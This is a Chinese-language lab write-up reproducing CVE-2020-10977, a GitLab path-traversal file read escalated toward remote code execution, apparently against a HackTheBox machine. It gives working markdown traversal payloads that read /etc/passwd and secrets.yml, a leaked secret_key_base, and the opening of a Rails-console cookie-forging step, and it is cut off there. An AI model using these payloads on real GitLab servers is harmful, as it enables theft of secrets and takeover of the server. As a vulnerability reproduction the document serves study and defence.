CVE-2020-10977_GitLab任意文件读取导致RCE漏洞复现
0x01 环境安装
1 |
yum -y install policycoreutils openssh-server openssh-clients postfix |
分配给虚拟机的物理内存最好是4G。
下载gitlab安装包
安装
1 |
yum -y install ./gitlab......12_8.1.rpm |
修改监听端口
1 |
vim /etc/gitlab/gitlab.rb |
重置和重启
1 |
gitlab-ctl reconfigure |
第一次进入会提示重置root密码
0x02 任意文件读取漏洞复现
创建两个项目(test1 和 test2
在test1中新建一个issue。
内容为
1 |
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd) |
创建好后,将这个issue移动到test2。
如果漏洞存在,并且文件有可读权限,就会变成一个链接。因为/etc/passwd被复制到了 /var/opt/gitlab/gitlab-rails/uploads/@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/ed7e8cddbc49e3746e0b9974b5393d79/passwd
0x03 RCE漏洞复现
根据报告Hackone-Arbitrary file read via the UploadsRewriter when moving and issue内容,需要修改cookie,并且读取目标机器上的secret.yaml,并在本地搭建一个gitlab,将本地的gitlab环境的secret.yaml替换为目标机器上的secret.yaml,然后用gitlab的工具来生成cookie,最后携带这段cookie直接请求目标gitlab环境即可。
这里我受害机环境使用的是HackTheBox靶机Laboratory
步骤1 利用LFI漏洞先读取secrets.yaml,来获取secret_key_base字段。
1 |
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml) |
需要将本地的gitlab的secrets.yaml的secret_key_base字段替换为受害机的。
1 |
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3 |
替换好之后,进入到radis console
依次输入以下内容,在获取到cookie之前,这些命令会在本机执行一次,所以在拿到cookie之后再监听端口。
1 |
request = ActionDispatch::Request.new(Rails.application.env_config) |
参考
- Hackone-Arbitrary file read via the UploadsRewriter when moving and issue
- CVE-2020-10977-Gitlab CE/EE 任意文件读取导致远程命令执行漏洞